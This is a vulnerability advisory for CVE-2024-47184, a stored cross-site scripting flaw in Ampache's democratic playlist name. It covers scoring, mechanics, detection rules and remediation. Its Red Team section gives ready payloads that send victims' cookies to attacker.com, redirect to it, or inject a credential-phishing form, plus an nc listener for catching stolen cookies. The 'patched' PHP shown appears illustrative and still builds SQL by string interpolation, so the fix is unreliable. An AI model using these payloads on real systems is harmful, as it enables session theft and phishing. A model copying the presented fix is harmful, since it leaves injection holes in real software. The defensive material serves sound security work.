CVE-2024-47184

Executive Summary

CVE-2024-47184 is a stored cross-site scripting (XSS) vulnerability in Ampache, a web-based audio/video streaming application and file manager. The vulnerability resides in the Democratic Playlist Name field, allowing an authenticated attacker with low privileges to inject malicious scripts. When other users view the affected playlist, the injected script executes in their browser context, potentially leading to session hijacking, data theft, or further attacks. The vulnerability is fixed in version 6.6.0. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.

Supply Chain & Package Security

Ampache is a PHP-based application. The vulnerability is not in a package manager dependency but in the application's own code. Users should verify the integrity of their Ampache installation and ensure no unauthorized modifications have been made.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs a valid user account.
• User Interaction: Required (UI:R) – victim must view the malicious playlist.
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification of data.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. The requirement for user interaction and low privileges reduces the immediate risk, but stored XSS can be leveraged for more severe attacks like credential theft or malware delivery.

Deep Dive & Mechanics

The vulnerability exists in the Democratic Playlist Name field. Ampache allows users to create democratic playlists where multiple users can vote on songs. The playlist name is stored in the database and displayed to other users without proper sanitization or encoding.

Root Cause: The application fails to escape or validate the playlist name input before storing it and later rendering it in the browser. This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. Attacker logs in with a low-privilege account.
2. Attacker creates a new democratic playlist with a malicious name containing XSS payload, e.g., <script>alert('XSS')</script>.
3. The malicious name is stored in the database.
4. When another user (including admins) views the playlist list or the playlist details, the injected script executes in their browser.
5. The script can steal session cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Impact: Session hijacking, data theft, defacement, or further compromise of the Ampache instance.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 6.6.0):

// In democratic.php or similar
$playlist_name = $_POST['playlist_name'];
// Directly stored without sanitization
$sql = "INSERT INTO democratic_playlists (name) VALUES ('$playlist_name')";

Patched Code (6.6.0):

// Properly sanitized
$playlist_name = htmlspecialchars($_POST['playlist_name'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO democratic_playlists (name) VALUES ('$playlist_name')";

The patch uses htmlspecialchars() to encode special characters, preventing script injection. Additionally, output encoding should be applied when rendering the name in views.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user account on an Ampache instance (version < 6.6.0).
• Access to the Democratic Playlist creation feature.

Exploitation Steps:

1. Log in to Ampache.
2. Navigate to the Democratic Playlist section.
3. Create a new playlist with the following name payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the playlist.
5. Wait for an admin or other user to view the playlist list or details.
6. The victim's browser executes the script, sending their cookies to the attacker's server.

Alternative Payloads:

• Session hijacking: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
• Phishing: <script>document.write('<form action="https://attacker.com/login" method="POST"><input type="text" name="user"><input type="password" name="pass"><input type="submit"></form>')</script>

Blue Team

Detection:

• Monitor for unusual playlist names containing <script>, onerror, onload, or other HTML event handlers.
• Review web server logs for requests to /democratic.php or similar endpoints with suspicious POST parameters.
• Use WAF rules to block XSS payloads in playlist name fields.

Hunting:

• Query the database for playlist names containing HTML tags:

  SELECT * FROM democratic_playlists WHERE name LIKE '%<%';
  

• Check for outbound connections from the Ampache server to unknown IPs (potential callback).

Lab Setup:

• Install Ampache version 6.5.x on a local VM.
• Create a test user and a malicious playlist.
• Use a browser with developer tools to observe the XSS execution.
• Set up a simple HTTP server (e.g., nc -lvnp 80) to capture stolen cookies.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Unusual POST requests to /democratic.php with playlist_name parameter containing HTML/JavaScript.
• Host:
  • Database entries in democratic_playlists table with name field containing <script> tags.
  • Web server logs showing requests with XSS payloads in the playlist_name parameter.
• File:
  • No specific file-based IOCs; the attack is stored in the database.

Detection Engineering

YARA Rule

rule CVE_2024_47184_Ampache_XSS {
    meta:
        description = "Detects stored XSS payloads in Ampache democratic playlist names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-47184"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Ampache Democratic Playlist Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the Democratic Playlist Name field in Ampache
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/democratic.php'
        cs-params|contains: 'playlist_name'
        cs-params|re: '(<script|on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in playlist names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47184 Ampache Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/democratic.php"; http_uri; content:"playlist_name"; http_client_body; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade to Ampache version 6.6.0 or later.
• If upgrade is not possible, manually apply the patch by adding htmlspecialchars() to the playlist name input.

Compensating Controls:

• Implement a Web Application Firewall (WAF) rule to block XSS payloads in POST parameters.
• Restrict user permissions to limit who can create democratic playlists.
• Enable Content Security Policy (CSP) headers to mitigate script execution.
• Regularly audit database for malicious playlist names.

Long-term:

• Adopt a secure coding framework that automatically escapes output.
• Conduct regular security training for developers.
• Implement input validation and output encoding for all user-supplied data.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters.it.